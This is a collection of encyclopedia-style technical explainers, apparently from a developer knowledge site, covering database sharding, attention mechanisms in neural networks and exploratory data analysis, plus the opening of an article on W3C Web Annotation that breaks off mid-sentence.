{"text":"# Database Sharding\n\n## Summary\n\n\nIn the age of Big Data, popular social media platforms and IoT sensor data, datasets are huge. If such a dataset is stored in a single database, queries become slow. Overall system performance suffers. This is when database sharding becomes useful.\n\nA single logical dataset is **split into multiple databases** that are then **distributed across multiple machines**. When a query is made, only one or a few machines may get involved in processing the query. Sharding enables effective scaling and management of large datasets. There are many ways to split a dataset into shards. \n\nSharding is possible with both SQL and NoSQL databases. Some databases have out-of-the-box support for sharding. For others, tools and middleware are available to assist in sharding. \n\nDatabase replication, partitioning and clustering are concepts related to sharding.\n\n## Discussion\n\n### When do I need to shard my database?\n\nSQL query performance can be improved by simply **indexing** tables. But on large tables (millions of rows) searching even the indices can be slow. \n\nOne approach is to do **partitioning**. Large tables are split into smaller tables. Each partition has it's own index. Suppose tables are partitioned by rows, query is processed on a smaller index. All partitions reside on the same server. \n\nA complementary approach is **vertical scaling**, which is a hardware upgrade: faster processor, more RAM, faster disk, etc. However, this is not scalable or cost effective in the long run. \n\nEven with partitioning and vertical scaling, the server can get overwhelmed with too many requests. One solution is **replication**. The master database is replicated in other servers called slaves. Read query is processed by one of the slaves. This speeds up database reads but not writes, which happen only on the master server. Reads can also be improved with **caching**. \n\nWhen all these have failed, use sharding as the last resort. Sharding enables **horizontal scaling**, which involves adding more servers that share the load and process requests in parallel. \n\n\n### How is sharding different from partitioning?\n\nSome use the terms partitioning and sharding interchangeably. However, there are clear differences.\n\nAll partitions of a table reside on the same server whereas sharding involves multiple servers. Therefore, sharding implies a distributed architecture whereas partitioning does not. \n\nPartitions can be horizontal (split by rows) or vertical (by columns). Shards are usually only horizontal. In other words, all shards share the same schema but contain different records of the original table. For this reason, sharding is sometimes called *horizontal partitioning*. \n\nDue to its distributed nature, sharding is more complex than partitioning. Many databases including older ones offer built-in support for partitioning. Sharding is supported mainly in modern databases. Where databases lack support for sharding, and no relevant middleware is used, the logic of which shard to hit resides in application code. With partitions, the logic resides at the database level. \n\nSharding adopts a **shared-nothing architecture**. A shard is not aware of other shards. This is often not the case with database clustering or replication. \n\n\n### What are some strategies for database sharding?\n\nA sharding strategy is necessary to determine which record goes into which shard:\n\n    + **Key-Based**: One of the columns, called *shard key*, is put through a hash function. The result determines the shard for that row. Also called hash-based sharding or algorithmic sharding.\n    + **Range-Based**: For example, given a product-price database, prices in range 0-49 go into shard 1, 50-99 into shard 2, and so on. Price column is the shard key. If the store sells lot more low-value products, this will result in unbalanced shards and hotspots.\n    + **Dictionary-Based**: A lookup table is used. This is a flexible approach since there's no predetermined hash function or ranges. An example is to shard by customer's region such as UK, US, or EU.\n    + **Hierarchical**: A combination of row and column is used as the shard key. Previously mentioned sharding strategies can be used on the key.\n    + **Entity Groups**: To facilitate queries across multiple tables, this strategy places related tables within the same shard. This brings stronger consistency. For example, all data pertaining to a user reside in the same shard.\n\n### How should I select a suitable shard key?\n\nSelecting a shard key is an important decision. Once selected, it's hard to change this in future. Consider how the choice will affect the current schema, queries and query performance. The choice should support current and future business use cases. Identify main parts of the data and clustering patterns. \n\nFor efficiency, the data type of the shard key is ideally an integer. \n\nSharding must balance two constraints: minimize cross-partition queries and distribute the load evenly by sharding at the right granularity. \n\nShard key must be on a column (SQL) or field (NoSQL) that meet the following: \n\n    + **Stability**: It almost never changes. Otherwise, we could incur expensive movement of data from one shard to another.\n    + **High Cardinality**: It has many more unique values relative to the number of shards.\n    + **Low Frequency**: Every value occurs with a low frequency.\n    + **Non-Monotonic**: The value doesn't increase or decrease monotonically.\n\n### Could you share some examples of shard keys?\n\nIn an eCommerce application, Inventory, Sales and Customers could be functional areas with shard keys `productID`, `orderID` and `customerID` respectively. Alternatively, `customerID` could be the shard key for Sales as well. Typically `customerID` is unique and of high cardinality. Hence, this could be the shard key rather than `country`. \n\nIn an IoT application, if all devices are storing data at similar intervals then `deviceID` is a suitable key. If some devices store lot more data than others, this would create hotspots and therefore `deviceID` may not suitable. For an application with a few status codes, using status code as shard key is not a good idea. \n\nWriting across shards is to be avoided. As an example, an eCommerce order may insert buyer address and seller address. Though both are part of the same logical table, they could reside on different shards. Another example is when a transaction inserts an order entry and an inventory entry. These two could be on different shards. It's preferable to locate all data pertaining to a transaction on a single shard. \n\n\n### What's a typical database sharding architecture?\n\nThere's no requirement that a server must host a single shard. Multiple shards can be hosted on the same server. When load increases, they can be moved to separate servers. Original database is split by a shard key. Data that have the same key is called a **logical shard**. One or more logical shards when hosted on the same server is called **physical shard**.  \n\nIn a typical architecture, a cluster proxy is connected to multiple shards. The proxy has access to a configuration service (such as Zookeeper) that keeps track of shards and their indices. The cluster proxy looks at a query and the configuration to know which shard to hit. If shards are large, each shard may also have its own proxy that can do caching and monitoring. With hierarchical sharding, each shard may be sharded further. \n\nIn Oracle Sharding, Shard Catalog contains the configuration. Routing is done by Shard Director. All shards are in the same region (data center). For high availability, replicated shards are in the same region as the primary shard. For disaster recovery, replicated shards are in another region. \n\n\n### How is sharding different between SQL and NoSQL databases?\n\nSQL databases were designed with ACID transactions in mind, not scalability. NoSQL databases were designed with scalability in mind. Sharding in NoSQL databases happens almost transparent to the user. Availability is prioritized over consistency. \n\nIn SQL tables, shard key is based on one or more columns. In NoSQL records, one or more fields are used instead.\n\nSince SQL databases combine sharding with replication, it's a master-slave architecture. In NoSQL world, shards are referred to as **nodes**. All nodes are equal, with one node connected to a few others in a graph-like structure. When a query comes in, a coordinator node is selected. If the coordinator can respond directly, it will. Otherwise, it forwards the query to another node that has the data. Nodes frequently share information about the data they store via what's called the **gossip protocol**. \n\n\n### What are the pros and cons of database sharding?\n\nThe main benefits of sharding include horizontal scaling, better performance, and higher availability. Processing and storage are distributed. An outage will most likely affect only one shard. \n\nSharding can lower cost by avoiding high-end hardware or expensive software. Commodity hardware and open-source software can be used. \n\nShards are suited for cloud deployments. Any upgrade can be tested on one shard before rolling it out to the rest. Shards can be geographically distributed to meet regulatory requirements or be closer to customers. \n\nThe complexity inherent with sharding is the main drawback. Improper implementation can lead to loss of data or data corruption. Maintaining multiple shards is not trivial and teams have to be trained in new workflows. Once sharded, it's hard to return to the unsharded architecture. Databases without native support for sharding will need custom solutions. \n\nSince data is distributed across many servers, a `JOIN` operation easily done in a single SQL database becomes difficult. Such an operation may hit many shards and require merging the responses. \n\nShards may become unbalanced over time. In other words, some shards grow faster than others, thus becoming **database hotspots**. Resharding is the solution. \n\n\n### What resources or tools are available to facilitate database sharding?\n\nCassandra, HBase, HDFS, MongoDB and Redis are databases that support sharding. Sqlite, Memcached, Zookeeper, MySQL and PostgreSQL are databases that don't natively support sharding at the database layer. \n\nFor databases that don't offer built-in support, sharding logic has to reside in the application. To avoid this complexity in application code, middleware can help. Two open-source middleware are Apache ShardingSphere and Vitess. Plugins for ShardingSphere offer support for MySQL, PostgreSQL, SQLServer, and Oracle. Vitess supports MySQL and MariaDB. \n\nMySQL itself doesn't offer sharding but MySQL NDB Cluster and MySQL Fabric can be used to achieve sharding. For sharding PostgreSQL, PL/Proxy, Postgres-XC/XL and Citus can be used. \n\nOn Google Cloud Platform, Cloud SQL and ProxySQL services can be used to shard PostgreSQL and MySQL databases. On AWS, Amazon RDS is a service that can implement a sharded database architecture. The DB engine can be MySQL, MariaDB, PostgreSQL, Oracle, SQL Server, and Amazon Aurora. For data analytics, Amazon Redshift can store data from all shards. Amazon RDS also facilitates resharding. \n\n\n### Could you share some best practices for database sharding?\n\nConsider sharding only when other approaches have failed. Main reasons for sharding include constraints on storage, processing, network bandwidth, regulations and geographic proximity. \n\nData analytics is usually performed on the entire dataset. Hence, sharding is more suited for Online Transaction Processing (OLTP) rather than for Online Analytical Processing (OLAP). \n\nTables with foreign key relationships can all share the same shard key. To keep primary keys unique across all shards for later OLAP, shard IDs can be suffixed to primary keys. \n\nSharding can be combined with replication. In fact, for high availability it's common to replicate shards. We could even duplicate some data across shards, such as duplicating chat messages in sender's and recipient's shards. \n\nMonitor the performance of all shards in terms of CPU utilization, memory usage, and read/write performance. Consider resharding if there are hotspots. \n\n## Milestones\n\n1983\n\nIt's predicted that distributed databases with specialized hardware will die. Multiprocessor systems are seen to be I/O limited. However, later years prove this prediction to be false. This is due to the growth of relational databases through the 1980s. These can be easily parallelized. High-speed networking to interconnect parallel processors become available. Teradata, Tandem and other startups successfully market parallel machines. \n\n1986\n\nDeWitt et al. present a parallelized database they call *GAMMA*. It consists of 20 VAX 11/750 processors, each with dedicated memory. Eight of them have disk drives for database storage. The machines are connected by 80Mbps token ring. They note four ways to split data: round-robin, hashed, range (user specified), and range (uniform distribution). In a later version of GAMMA (1990), each processor has its own disk storage, giving rise to the term **shared-nothing architecture**. \n\nJun  \n1992\n\nDeWitt and Gray apply dataflow programming paradigm to propose a distributed database architecture they call **partitioned parallelism**. Input data is partitioned and sent to multiple processors and memories. They propose four sharding strategies: round-robin, range, list and hash. \n\n1996\n\nThe use of the term \"shard\" in a computing and storage context probably originates with the massively multiplayer online game called *Ultima Online*. The story is that the fictional world Sosaria was trapped in a crystal. When the crystal shattered, each **shard** contained a copy of Sosaria. Each copy of the world ran on its own server and database. \n\nAug  \n2005\n\nIn a presentation, Fitzpatrick explains how sharding helped LiveJournal scale their backend. The site launched in 1999 but grew to 7.9 million accounts by August 2005. With thousands of hits per second, sharding is adopted as the solution. The term \"shard\" is not used. Instead, the term **user cluster** is used. Within a cluster, replication is done. \n\n2006\n\nGoogle's *Bigtable* is a distributed storage that can handle petabytes of data across commodity servers. Web indexing, Google Earth, Google Analytics, Orkut, and Google Finance are some projects at Google using Bigtable. \n\n2007\n\nAt Facebook, engineers start work on an NoSQL database called *Cassandra*. They're inspired by **range sharding** of Google's Bigtable and **consistent hash sharding** of Amazon's DynamoDB. They adopt linear hash sharding that is a hybrid of the two. It preserves the sort order but distribution is uneven. This is later changed to consistent hash sharding at the expense of range queries. \n\n2010\n\nA team in YouTube creates *Vitess* to solve scalability challenges to its MySQL data storage. Before Vitess, YouTube tried replication to speed up reads, and then application-level sharding to speed up writes. With Vitess, routing logic can be removed from application code. Vitess sits between the application and the database. In February 2018, Vitess becomes a CNCF incubation project, graduating in November 2019.","meta":{"title":"Database Sharding","href":"database-sharding"}}
{"text":"# Attention Mechanism in Neural Networks\n\n## Summary\n\n\nIn machine translation, the encoder-decoder architecture is common. The encoder reads a sequence of words and represents it with a high-dimensional real-valued vector. This vector, often called the **context vector**, is given to the decoder, which then generates another sequence of words in the target language. If the input sequence is very long, a single vector from the encoder doesn't give enough information for the decoder. \n\nAttention is about giving more contextual information to the decoder. At every decoding step, the decoder is informed how much \"attention\" it should give to each input word.  While attention started this way in sequence-to-sequence modelling, it was later applied to words within the same sequence, giving rise to self-attention and transformer architecture. \n\nSince the late 2010s, attention mechanism has become popular, sometimes replacing CNNs, RNNs and LSTMs.\n\n## Discussion\n\n### Could you explain attention with an example?\n\nConsider an example from machine translation. The sentence \"The agreement on the European Economic Area was signed in August 1992\" is to be translated to French, which might be \"L'accord sur la zone économique européenne a été signé en août 1992\". We can see that \"Economic\" becomes \"économique\" and \"European\" becomes \"européenne\", but their positions are swapped. The phrase \"was signed\" becomes \"a été signé\". Thus, translation depends not just on individual words but also their context within the sentence. Attention is meant to capture this context. \n\nIn this example, attention is passed from the encoder to the decoder. The decoder generates the translated words one by one. Each output word is influenced by all input words in different amounts. Attention captures these weights. \n\nWe can also visualize attention via heatmaps. In the figure, we map English words to translated French words. We note that sometimes a translated word is attended to by multiple English words. Lighter colours represent higher attention. \n\n\n### Could you describe the architecture of attention?\n\nLet's consider machine translation as explained by Bahdanau et al. (2014). Encoder is a bidirectional RNN while the decoder is an RNN. The input sequence is fed into the encoder whose hidden states are exposed to the decoder via the attention layer. More specifically, the backward and forward hidden encoder states are concatenated. These states are weighted to give a context vector that's used by the decoder. Attention weights are calculated by aligning the decoder's last hidden state with the encoder hidden states. \n\nThe decoder's current hidden state is a function of it's previous hidden state, previous output word and the context vector. Attention is passed via the context vector, which itself is based on the alignment of encoder and decoder states. \n\nLuong et al. proposed a slightly different architecture. Their encoder and decoder are each a 2-layer LSTM. It also uses a feedforward network for the final output. In Google's Neural Machine Translation, 8-layer LSTM is used in encoder and decoder. The first encoder layer is bidirectional. Both encoder and decoder include some residual connections. \n\n\n### What do you mean by \"alignment\" in the context of attention mechanism?\n\nBahdanau et al. align the decoder's sequence with the encoder's sequence. An alignment score quantifies how well output at position *i* is aligned to the input at position *j*. The context vector that goes to the decoder is based on the weighted sum of the encoder's RNN hidden states \\(h\\_j\\). These weights come from the alignment. Mathematically, given an alignment model *a*, alignment energy *e*, context vector *c*, and weights α, we have: \n\n$$e\\_{ij} = a(s\\_{i-1},h\\_j)\\\\\\alpha\\_{ij} = exp(e\\_{ij})/\\sum\\_{k=1}^{T\\_x}{exp(e\\_{ik})}\\\\c\\_i = \\sum\\_{j=1}^{T\\_x}{\\alpha\\_{ij}h\\_j}$$\n\nThe decoder's hidden state is based on it's previous hidden state \\(s\\_{i-1}\\), the previous predicted word and the current context vector. At each time step, the context vector is adjusted via the alignment model and attention. Thus, at step step, the decoder selectively attends to the input sequence via the encoder hidden states. \n\nBahdanau et al. concatenated the forward and backward encoder hidden states and added these with decoder hidden state. Luong et al. proposed many other alternative alignment scores. Vaswani et al. proposed the scaled dot product. \n\n\n### What is self-attention?\n\nSelf-attention is about attending to words within the sequence, such as within the encoder or decoder. By seeing how one word attends to other words in the sequence, we're able to capture syntactical structures.\n\nConsider the sentence \"The animal didn't cross the street because it was too tired\". The word \"it\" refers to the animal. What happens if we replace \"tired\" with \"wide\"? The word \"it\" now refers to the street. Attention understands this. In the former case there's high attention linking \"it\" and \"animal\" but in the latter case high attention shifts to \"street\". \n\nSelf-attention was earlier applied together with RNNs. Later, self-attention came to stand on its own. Vaswani et al.'s paper titled *Attention is all you need* showed how we can get rid of CNNs and RNNs. RNNs in particular are hard to parallelize on GPUs, which is a problem solved by self-attention. \n\n\n### Could you describe some applications of attention mechanism?\n\nBeyond its early application to machine translation, attention mechanism has been applied to other NLP tasks such as sentiment analysis, POS tagging, document classification, text classification, and relation classification. One research used human eye-tracking corpora to derive attention and enhance NLP tasks. In another study, semantic role labelling was improved using linguistically-informed self-attention. \n\nBy combining CNN with self-attention, the Google Brain team achieved top results for image classification and object detection. In Visual Question Answering (VQA), where there's a need to focus on small areas or details of the image, attention mechanism is useful. Attention is also useful for image captioning. \n\nIn speech recognition, attention aligns characters and audio. \n\nIn one medical study, higher attention was given to abnormal heartbeats from ECG readings to more accurately detect specific heart conditions. In another study based on ICU data, feature-level attention was used rather than attention on embeddings. This provided physicians better interpretability. \n\n\n### What's the difference between global and local attention?\n\nThe distinction between global versus local attention originated in Luong et al. (2015). In the task of neural machine translation, global attention implies we attend to all the input words, and local attention means we attend to only a subset of words. \n\nIt's said that local attention is a combination of hard and soft attentions. Like hard attention, it focuses on a subset. Like soft attention, it's differentiable and hence easier to implement and train. It's computationally simpler than global or soft attentions. \n\nGiven the decoder's current state, local attention first selects the best aligned position \\(p\\_t\\) in the input sequence. Note that selecting \\(p\\_t\\) is not directly influenced by the encoder's states. Local attention is also called **window-based attention** because it's about selecting a window of input tokens for attention distribution. This window is centred on \\(p\\_t\\). To keep the approach differentiable, a Gaussian distribution is applied on the window. Attention \\(a\\_t\\) is therefore focused around \\(p\\_t\\). \n\n## Milestones\n\nJun  \n2014\n\nEven before attention mechanism becomes popular via NLP in later years, it's used in computer vision. Mnih et al. propose a method to focus on important parts of an image that are then processed at high resolution. Instead of processing the entire image at once, it's processed sequentially, attending to different locations as is relevant to the task. \n\nSep  \n2014\n\nBahdanau et al. apply the concept of **attention** to the seq2seq model used in machine translation. This helps the decoder to \"pay attention\" to important parts of the source sentence. Encoder is a bidirectional RNN. Unlike earlier seq2seq models that use only the encoder's last hidden state, attention mechanism uses all hidden states of encoder and decoder to generate the context vector. It also aligns the input and output sequences, with alignment score parameterized by a feed-forward network. \n\nFeb  \n2015\n\nXu et al. propose the use of visual attention to the task of image captioning. They distinguish between **soft attention** and **hard attention**. Soft deterministic attention is smooth and differentiable, and is trained by standard back propagation. Hard stochastic attention is trained by maximizing an approximate variational lower bound. Soft attention is similar to Bahdanau et al.'s proposal. \n\nMar  \n2015\n\nSukhbaatar et al. propose the concept of **multi-hop attention**. Each hop or layer contains attention weights. Input and output from each layer is fed to the next higher layer. Thus, no hard decisions are taken in each layer. Outputs from each layer are passed on in a \"soft\" manner until prediction after the last layer. \n\nAug  \n2015\n\nLuong et al. distinguish between **global attention** versus **local attention**. In global attention, we attend to all the input words. In local attention, we attend to only a subset of words. \n\nNov  \n2015\n\nAttention mechanism has been applied to computer vision. For **Visual Question Answering (VQA)**, Chet et al. propose Attention-Based Configurable Convolutional Neural Network (ABC-CNN). The query text guides the model to pay attention to relevant image regions. In traditional VQA models, visual processing and question understanding are done separately. \n\nJun  \n2016\n\nYang et al. propose the **Hierarchical Attention Network (HAN)**. This comes from their insight that documents have a hierarchical structure (words, sentences, document). HAN has two levels of attention: word level and sentence level. This enables the model to more accurately do document classification. It improves on the state-of-the-art when tested on Yelp, IMDb and Amazon datasets. Kränkel and Lee provide a good description of HAN.\n\nNov  \n2016\n\nMatthew Honnibal describes what he calls as the new neural network playbook for NLP. It's a four-step approach: **embed, encode, attend, predict**. This highlights the importance and usefulness of attention mechanism. Word embeddings do the embed part at word level. Bidirectional RNNs do the encode part at sequence level. Using a context vector, attend part produces a vector that's given to a feed-forward network. The predict part is done by this network. \n\nNov  \n2016\n\nFor the task of machine reading, Cheng et al. propose the use of both inter-attention (between encoder and decoder) and intra-attention (within encoder or decoder). **Intra-attention** (later to be called self-attention) is about attending to tokens within a sequence, thus uncovering lexical relations between tokens. \n\nJun  \n2017\n\nVaswani et al. propose the **transformer** model in which they use a seq2seq model without RNN. The transformer model relies only on **self-attention**. Self-attention is about attending to different tokens of the sequence. Self-attention leads to powerful language models including BERT (2018) and GPT-2 (2019). \n\nOct  \n2017\n\nVeličković et al. apply attention to nodes in a graph. Nodes attend to neighbours. The computation can be parallelized.","meta":{"title":"Attention Mechanism in Neural Networks","href":"attention-mechanism-in-neural-networks"}}
{"text":"# Exploratory Data Analysis\n\n## Summary\n\n\nExploratory Data Analysis (EDA) consists of techniques that are typically applied to gain insight into a dataset before doing any formal modelling.\n\nEDA helps us to uncover the underlying structure of the dataset, identify important variables, detect outliers and anomalies, and test underlying assumptions. With EDA, we identify relevant variables, their transformations, and interaction among variables with respect to the model we want to build. EDA can also point out missing data as may be relevant to building desired models.\n\nEDA uses techniques of *statistical graphics* but has a broader scope. It's an approach rather than just a set of techniques. The general idea is, \n\n> Let the data speak for themselves... Exploratory Data Analysis is not “fishing” or “torturing” the data set until it confesses.\n\n## Discussion\n\n### What's the recommended process for doing Exploratory Data Analysis?\n\nOne can follow these steps:  \n\n    + Look at the structure of the data: number of data points, number of features, feature names, data types, etc.\n    + When dealing with multiple data sources, check for consistency across datasets.\n    + Identify what data signifies (called measures) for each of data points and be mindful while obtaining metrics.\n    + Calculate key metrics for each data point (summary analysis): a. Measures of central tendency (Mean, Median, Mode); b. Measures of dispersion (Range, Quartile Deviation, Mean Deviation, Standard Deviation); c. Measures of skewness and kurtosis.\n    + Investigate visuals: a. Histogram for each variable; b. Scatterplot to correlate variables.\n    + Calculate metrics and visuals per category for categorical variables (nominal, ordinal).\n    + Identify outliers and mark them. Based on context, either discard outliers or analyze them separately.\n    + Estimate missing points using *data imputation techniques*.\n\n### What are the data types used in EDA?\n\nIn statistics and Machine Learning, data types are also called *levels of measurement*. Four common ones are used: \n\n    + **Nominal**: This is qualitative, not quantitative; eg. Religious Preference: 1 = Buddhist, 2 = Muslim, 3 = Christian, 4 = Jewish, 5 = Other.\n    + **Ordinal**: An ordinal scale that indicates ordering or direction in addition to providing nominal information; eg. Low/Medium/High or Faster/Slower are examples of ordinal levels of measurement. Ranking an experience as a \"nine\" on 1-10 scale tells us that it was higher than an experience ranked as a \"six\".\n    + **Interval**: Interval scales provide information about order, and also ability to compare ranges; eg. temperature measured either on a Fahrenheit or Celsius scale: measured in Fahrenheit units, the difference between a temperature of 46 and 42 is the same as the difference between 72 and 68.\n    + **Ratio**: In addition to possessing the qualities of nominal, ordinal, and interval scales, a ratio scale has an absolute zero, a point where none of the quality being measured exists; eg. income, years of work experience, number of children.\n\n### What are measures of central tendency?\n\nA measure of central tendency is a single value that attempts to describe a set of data by identifying the central position within that set of data. These include the following: \n\n    + **Mean**: Mean is equal to the sum of all the values in the data set divided by the number of values in the data set. This is also called *arithmetic mean*. Other means such as *geometric mean* and *harmonic mean* are also sometimes useful.\n    + **Median**: Median is the middle score for a set of data that has been arranged in order of magnitude. For example, given an ordered list of student marks, [14 35 45 55 55 56 58 65 87 89 92], median is 56 because it is the middle mark since there are 5 items before it, 5 items after it.\n    + **Mode**: Mode is the most frequent score in our data set. For the above data set of student marks, mode is 55 because 55 is repeated for the maximum number of times.\n\n### What are measures of dispersion?\n\nMeasures of dispersion are important for describing the spread of the data, or its variation around a central value.\n\n**Range** is the difference between the smallest value and the largest value in the data set. This is the simplest measure but it's based on extreme values and tells nothing about the data in between. \n\n**Standard Deviation** is therefore a better measure. A value within ±1 SD from mean is considered normal; a value beyond ±3 SD is considered extremely abnormal. One alternative to this is a simple measure called **Mean Absolute Deviation (MAD)**. Another alternative, often used as a measurement of error, is **Root Mean Square Anomaly (RMSA)**. \n\nIf one desires the spread of data around the central region of data, **Quartile Deviation** is a good measure. This is half of what's called **Interquartile Range (IQR)**. A variation of this that considers all data is called **Median Absolute Deviation (MAD)**. \n\n\n### What is Skewness And Kurtosis?\n\n**Skewness** is a measure of symmetry, or more precisely, the lack of symmetry. A distribution, or data set, is symmetric if it looks the same to the left and right of the central point.\n\n**Kurtosis** is a measure of whether the data are heavy-tailed or light-tailed relative to a normal distribution. That is, data sets with high kurtosis tend to have heavy tails, or outliers. Data sets with low kurtosis tend to have light tails, or lack of outliers. \n\n\n### Can measures of central tendency, dispersion, skewness and kurtosis be the same for different datasets?\n\nYes, it's possible. Statistician Francis Anscombe came up with four datasets to illustrate the importance of graphing data before analyzing it, and to show the effect of outliers on statistical properties. This is now called *Anscombe's quartet*. It comprises of four datasets that have nearly identical simple statistical properties, yet appear very different when graphed. Each dataset consists of eleven (x,y) points. \n\nAnscombe's quartet emphasizes the importance of looking at your data, not just the summary statistics and parameters you compute from it.\n\n\n### What are outliers and how to handle outliers?\n\nAny observation that appears to deviate markedly from other observations in the sample is considered an outlier. Identifying an observation as an outlier depends on the underlying distribution of the data. Determining whether an observation is an outlier or not is a subjective exercise.\n\nContext dictates whether to focus on or get rid of outliers. For example, in an income distribution, a luxury brand company would focus on the outliers (the rich people) while a Government public distribution system would choose to get rid of the outliers. It's recommended that you generate a normal probability plot of the data before applying an outlier test.\n\nOutliers can also come in different flavours, depending on the environment: point outliers, contextual outliers, or collective outliers. \n\n\n### What are the visual aids for exploratory analysis?\n\nData can be represented visually in many ways with programming languages and visualization packages. Programming languages such as R, Python, Matlab, SAS, etc. provide libraries for creating data visuals. In JavaScript, we have D3.js, NVD3, FusionCharts and Chart.js. In Python, we have Matplotlib, Seaborn, Bokeh and Plotly. \n\nThere are dedicated visualization platforms such as Tableau, Qlikview, and PowerBI in the market that even non-programmers and traditional data analysts can use to make visuals. \n\nHistograms and scatterplots are widely used for exploratory analysis to quickly understand the structure of data and inter-relations of variables. However, numerous other charts can be used to create visuals that have repeat purpose and long shelf life. \n\n\n### What should we look for in a histogram or a distribution?\n\n**Histogram** represents the underlying structure in the form of a *frequency distribution*; that is, how often a particular value occurs. Visually, a histogram is similar to a bar chart. While a bar chart has bars for individual values, in a histogram it's more common to group together a range of values into a single *bin*. Often 5-15 bins should be considered depending on the range of values in the dataset. With too few bins, the graph will not be detailed enough to interpret the distribution. \n\nIn fact, due to binning, histograms can plot both categorical and continuous variables. Bar charts are only for categorical variables. \n\nHistograms help us see data symmetry, peaks, outliers or data error through omission. In the figure, two peaks imply two distinct classes. Additional data informs us that the peaks are due to gender differentiation. If we split the data by gender, we will get two histograms, each with a single peak. Thus, when we see multimodal histograms (more than one peak), there's room to split the data. For every peak, we can build a different model.\n\n\n### What should we look for in a scatterplot?\n\n**Scatterplot** is a mechanism to plot two variables and see the *underlying relationship* between them. A scatterplot can reveal data symmetry, clusters, correlation between variables, and extreme values or outliers. The plot is a series of dots \"scattered\" in two dimensions. Often a line is drawn across these dots. The line doesn't connect the actual points unlike a line graph. The line, often called **regression line**, shows the trend and can be used as a predictive tool. \n\nA scatterplot is two-dimensional (two variables) while a histogram is one-dimensional (one variable). Hence we should pay more attention to outliers in scatterplots. For example, in the accompanying image, Employee #2 and Employee #19 are both outliers when we consider their test scores and sales performance. However, if we analyze the data in either of these variables separately, they will not appear as outliers. \n\nIn technical jargon, histogram provides *Univariate Visualization*. Scatterplot provides *Bivariate Visualization*. \n\n\n### What's a pair plot and what's its utility?\n\n**Pair plot** is a plot that helps comprehend the underlying structure of a variable and its relationship with other variables in a single visual. Basically, it's a combination of histogram and scatterplot in one visual. This can help us notice patterns that may not be obvious when analyzed separately. \n\n\n### How do we handle missing data?\n\nData is rarely complete and may have missing points. Data can be missing due to various reasons: not captured, captured but may not be available, etc. In such circumstances, it's normal to estimate the missing value and proceed with analysis. This process is called **imputation**. There are many standard imputation procedures and algorithms to estimate missing data. \n\n## Milestones\n\n1855\n\nJohn Snow uses a dot plot on a map of London to analyze the 1854 cholera outbreak. He suspects water contamination at the Broad Street pump. The mapped data presents a compelling visual that this could be true. Although not strictly EDA, this is an example of using data visualization to confirm a hypothesis.\n\n1869\n\nDmitri Mendeleev organizes known chemical elements into a periodic table. This visual suggests some undiscovered elements. This is a good example of EDA leading to new discoveries. \n\n1885\n\nFrancis Galton creates a bivariate frequency chart that evolves later to today's more familiar correlation diagram. He uses it to analyze the relationship between the heights of parents and adult children. In earlier experiments from the 1870s, he did a similar correlation study with sweet-pea seeds. \n\n1905\n\nKarl Pearson proposes the *kurtosis coefficient* as a way to measure the degree of flatness of frequency distributions. Along with *skewness coefficient* proposed earlier, he challenges the notion that most distributions are normal or should be transformed to normality. Instead, we should accurately represent observed data. \n\n1973\n\nStatistician Francis Anscombe constructs the *Anscombe's quartet* to demonstrate the importance of graphing data before analyzing it and the effect of outliers on statistical properties. \n\n1977\n\nJohn W. Tukey, often considered the father of EDA, publishes \"Exploratory Data Analysis\" at a time when computer-aided visualization was still nascent. He introduces new plots such as the stem-leaf plot and the five-point boxplot. He implies that *Confirmatory Data Analysis (CDA)* can suffer from confirmation bias due to predetermined hypothesis. EDA is a more open-minded approach to discover patterns in data and to answer specific scientific questions. \n\n1999\n\nJust as languages have grammar, Leland Wilkinson formalizes a grammar for making graphs. Called **Grammar of Graphics**, it defines a structure to combine graph elements so that data can be shown in meaningful ways. This later inspires others to implement the same in popular languages (R, Python, Julia, D3).","meta":{"title":"Exploratory Data Analysis","href":"exploratory-data-analysis"}}
{"text":"# Web Annotation\n\n## Summary\n\n\nIn traditional print media, it's common practice among readers to underline text, highlight sections or write comments in the margins. Such annotations allow readers to express their opinions. **Web Annotation** is a standard for creating similar annotations on the web for digital content. It's standardized by the *W3C Web Annotation Working Group*. \n\nSince the early years of the Web, there have been many proprietary systems to enable online annotations. Web Annotation offers a standardized data model, vocabulary, protocol and embeddings to create, organize and share annotations. Web Annotation allows anyone to express their opinions freely without being censored by content authors or publishers. It reuses concepts and tools from Semantic Web.\n\n## Discussion\n\n### Without Web Annotation, how do people annotate content on the web?\n\nWeb content involves authors, content publishers and readers. To engage readers, content publishers enable comments on their site. However, they could moderate the comments and even delete them if they didn't like them. This control from publishers meant that the system was not truly open from a reader's perspective. In fact, some publishers don't even allow comments. \n\nPublished comments often appear at the end of the article and therefore remain disconnected from a particular line or paragraph to which the comment applies. There's also no distinction between a valuable comment and frivolous chit-chat. Readers also have no way to archive their comments or take their comments from one platform to another. Readers may be identified only loosely and there's no reputation model to say who's a more valuable commenter. The lack of a reputation model was one reason why project Dispute Finder failed. \n\nBefore Web Annotation, solutions were proprietary and closed systems. They didn't partner with organizations such as W3C to take a standards-driven approach. \n\n\n### What are some use cases and current adoptions of Web Annotation?\n\nAnnotations can be used to \"provide a trace of use; third party commentary; information sharing; information filtering; semantic labeling of document content; and enhanced search\". Annotations can help readers discover new content by subscribing to annotation feeds. They can also share annotations, thereby creating communities of common interests. Publishers can use annotations to add value to their content. \n\nMany systems are using annotations for online collaboration. Examples include Kami and GoodReader. For greater insight, DocumentCloud promises to turn documents into data.\n\nFor engaging online communities in open discussions, RapGenius started in 2009 to annotate rap lyrics but later expanded to other topics and changed its name to Genius in 2014. Publisher John Wiley & Sons, Inc. and IIIF Consortium have adopted annotations. Mendeley (acquired by Elsevier) provides research management system that includes annotations. \n\nTo flag fake news, annotations can help in building an ecosystem for fact checking. Web Annotation can enable \"decentralized, trustworthy mechanism for fact checking and public discussion\". Beyond facts, Climate Feedback is using annotations for content reasoning and argumentation. \n\n\n### What annotation tools or services are currently available?\n\nSince the early 1990s, many systems have come and gone to support annotations on the web. Hypothes.is has shared a list of annotation efforts. Among the more widely used services are Diigo, Mendeley, DocumentCloud, RapGenius, Good Reader and Notable PDF. A curated list of ten annotation tools from April 2017 includes zipBoard, UserSnap, PageProofer, JIRA Capture, BugHerd, Scrible, Hypothesis, Diigo, TrackDuck and Twiddla. \n\nMosaic browser that was released in 1993 had support for annotations. Third Voice was an annotation service during 1999-2001. Predating this, there have been other open-source annotation apps: CritSuite, JotBot, ComMentor and Xanadu. Angel-funded Fleck existed during 2006-2008. At the 2013 I Annotate Conference, many new services were presented: Domeo, Maphub, Pelagios, Authorea, dotdotdot, Hypothes.is. \n\n\n### What's the architecture behind annotations?\n\nThere are two ways to implement annotations: \n\n    + **Proxy-based**: A 